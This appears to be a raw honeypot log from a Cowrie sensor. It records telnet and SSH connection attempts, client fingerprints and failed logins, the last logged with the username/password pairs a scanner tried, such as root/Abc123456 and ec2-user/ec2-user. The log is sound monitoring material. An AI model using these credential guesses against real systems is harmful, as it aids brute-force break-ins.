{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":47280,"dst_ip":"159.203.135.109","dst_port":23,"session":"d79a2ad1c63d","protocol":"telnet","message":"New connection: 134.209.8.29:47280 (159.203.135.109:23) [session: d79a2ad1c63d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:01:18.399569Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":55294,"dst_ip":"10.17.0.5","dst_port":22,"session":"581da104f70b","protocol":"ssh","message":"New connection: 176.65.132.254:55294 (10.17.0.5:22) [session: 581da104f70b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:01:18.923469Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:01:18.928512Z","src_ip":"176.65.132.254","session":"581da104f70b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:01:19.011286Z","src_ip":"176.65.132.254","session":"581da104f70b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ec2-user","password":"ec2-user","message":"login attempt [ec2-user/ec2-user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:01:19.258363Z","src_ip":"176.65.132.254","session":"581da104f70b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.782238483428955,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:01:20.135566Z","src_ip":"62.210.97.77","session":"9284fef3286f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:01:20.349097Z","src_ip":"176.65.132.254","session":"581da104f70b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.669209003448486,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:01:21.033845Z","src_ip":"62.210.97.77","session":"281d110665f5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":50960,"dst_ip":"10.17.0.5","dst_port":23,"session":"5b3684f9e7da","protocol":"telnet","message":"New connection: 62.210.97.77:50960 (10.17.0.5:23) [session: 5b3684f9e7da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:01:21.264443Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":50974,"dst_ip":"10.17.0.5","dst_port":23,"session":"c3b14a302723","protocol":"telnet","message":"New connection: 62.210.97.77:50974 (10.17.0.5:23) [session: c3b14a302723]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:01:22.027422Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":43406,"dst_ip":"10.17.0.5","dst_port":22,"session":"314e1720fe82","protocol":"ssh","message":"New connection: 176.65.132.254:43406 (10.17.0.5:22) [session: 314e1720fe82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:01:22.848879Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:01:22.853865Z","src_ip":"176.65.132.254","session":"314e1720fe82","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:01:22.936222Z","src_ip":"176.65.132.254","session":"314e1720fe82","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"minecraft","message":"login attempt [minecraft/minecraft] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:01:23.184752Z","src_ip":"176.65.132.254","session":"314e1720fe82","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.7329797744751,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:01:23.257432Z","src_ip":"62.210.97.77","session":"4565cec4eb13","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.2188937664032,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:01:23.441175Z","src_ip":"62.210.97.77","session":"e4162dfb2773","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:01:24.270127Z","src_ip":"176.65.132.254","session":"314e1720fe82","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":43422,"dst_ip":"10.17.0.5","dst_port":22,"session":"7ecbece8cd8c","protocol":"ssh","message":"New connection: 176.65.132.254:43422 (10.17.0.5:22) [session: 7ecbece8cd8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:01:26.856652Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:01:26.861443Z","src_ip":"176.65.132.254","session":"7ecbece8cd8c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:01:26.943603Z","src_ip":"176.65.132.254","session":"7ecbece8cd8c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user","message":"login attempt [user/user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:01:27.219425Z","src_ip":"176.65.132.254","session":"7ecbece8cd8c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:01:28.304183Z","src_ip":"176.65.132.254","session":"7ecbece8cd8c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.16802430152893,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:01:28.657588Z","src_ip":"62.210.97.77","session":"299a816c1422","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":58966,"dst_ip":"10.17.0.5","dst_port":23,"session":"dfaf14a40053","protocol":"telnet","message":"New connection: 62.210.97.77:58966 (10.17.0.5:23) [session: dfaf14a40053]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:01:29.109399Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":33792,"dst_ip":"159.203.135.109","dst_port":23,"session":"1ecd69b32f37","protocol":"telnet","message":"New connection: 134.209.8.29:33792 (159.203.135.109:23) [session: 1ecd69b32f37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:01:29.226382Z"}
{"eventid":"cowrie.session.closed","duration":47.735352754592896,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:01:30.681460Z","src_ip":"134.209.8.29","session":"489fb9e3e158","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":43430,"dst_ip":"10.17.0.5","dst_port":22,"session":"154535ed3d78","protocol":"ssh","message":"New connection: 176.65.132.254:43430 (10.17.0.5:22) [session: 154535ed3d78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:01:30.752717Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:01:30.759202Z","src_ip":"176.65.132.254","session":"154535ed3d78","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.15668988227844,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:01:30.773592Z","src_ip":"62.210.97.77","session":"813ffa9105df","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:01:30.841489Z","src_ip":"176.65.132.254","session":"154535ed3d78","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":58980,"dst_ip":"10.17.0.5","dst_port":23,"session":"0e1b6298f9ff","protocol":"telnet","message":"New connection: 62.210.97.77:58980 (10.17.0.5:23) [session: 0e1b6298f9ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:01:31.175282Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abc123456","message":"login attempt [root/Abc123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:01:31.486343Z","src_ip":"176.65.132.254","session":"154535ed3d78","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.378620624542236,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:01:32.040503Z","src_ip":"62.210.97.77","session":"060af004259f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":58988,"dst_ip":"10.17.0.5","dst_port":23,"session":"23441bca5939","protocol":"telnet","message":"New connection: 62.210.97.77:58988 (10.17.0.5:23) [session: 23441bca5939]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:01:32.177697Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:01:32.570237Z","src_ip":"176.65.132.254","session":"154535ed3d78","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":56622,"dst_ip":"10.17.0.5","dst_port":23,"session":"e4132cdc9fd9","protocol":"telnet","message":"New connection: 65.60.27.33:56622 (10.17.0.5:23) [session: e4132cdc9fd9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:01:32.707437Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":56472,"dst_ip":"10.17.0.5","dst_port":22,"session":"8c8232da2a51","protocol":"ssh","message":"New connection: 176.65.132.254:56472 (10.17.0.5:22) [session: 8c8232da2a51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:01:34.968474Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:01:34.973436Z","src_ip":"176.65.132.254","session":"8c8232da2a51","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:01:35.056375Z","src_ip":"176.65.132.254","session":"8c8232da2a51","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vm","password":"vm","message":"login attempt [vm/vm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:01:35.318423Z","src_ip":"176.65.132.254","session":"8c8232da2a51","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:01:36.585277Z","src_ip":"176.65.132.254","session":"8c8232da2a51","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":58998,"dst_ip":"10.17.0.5","dst_port":23,"session":"563ea071b658","protocol":"telnet","message":"New connection: 62.210.97.77:58998 (10.17.0.5:23) [session: 563ea071b658]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:01:36.955409Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":59004,"dst_ip":"10.17.0.5","dst_port":23,"session":"cbe37c2e4095","protocol":"telnet","message":"New connection: 62.210.97.77:59004 (10.17.0.5:23) [session: cbe37c2e4095]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:01:37.219656Z"}
{"eventid":"cowrie.session.closed","duration":4.825408935546875,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:01:37.532718Z","src_ip":"65.60.27.33","session":"e4132cdc9fd9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":59006,"dst_ip":"10.17.0.5","dst_port":23,"session":"4df4c975998c","protocol":"telnet","message":"New connection: 62.210.97.77:59006 (10.17.0.5:23) [session: 4df4c975998c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:01:38.451777Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":56486,"dst_ip":"10.17.0.5","dst_port":22,"session":"51a9f47743a6","protocol":"ssh","message":"New connection: 176.65.132.254:56486 (10.17.0.5:22) [session: 51a9f47743a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:01:38.844446Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:01:38.850229Z","src_ip":"176.65.132.254","session":"51a9f47743a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:01:38.945577Z","src_ip":"176.65.132.254","session":"51a9f47743a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sonar","password":"sonar123","message":"login attempt [sonar/sonar123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:01:39.568966Z","src_ip":"176.65.132.254","session":"51a9f47743a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.978554010391235,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:01:40.016780Z","src_ip":"62.210.97.77","session":"9b4c4b3abebb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:01:40.657896Z","src_ip":"176.65.132.254","session":"51a9f47743a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.447298765182495,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:01:40.724933Z","src_ip":"62.210.97.77","session":"b004906e4e60","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":44824,"dst_ip":"10.17.0.5","dst_port":23,"session":"8435ae14487b","protocol":"telnet","message":"New connection: 62.210.97.77:44824 (10.17.0.5:23) [session: 8435ae14487b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:01:41.213305Z"}
{"eventid":"cowrie.session.closed","duration":49.481818199157715,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:01:41.606834Z","src_ip":"134.209.8.29","session":"a95b65d08623","protocol":"telnet"}
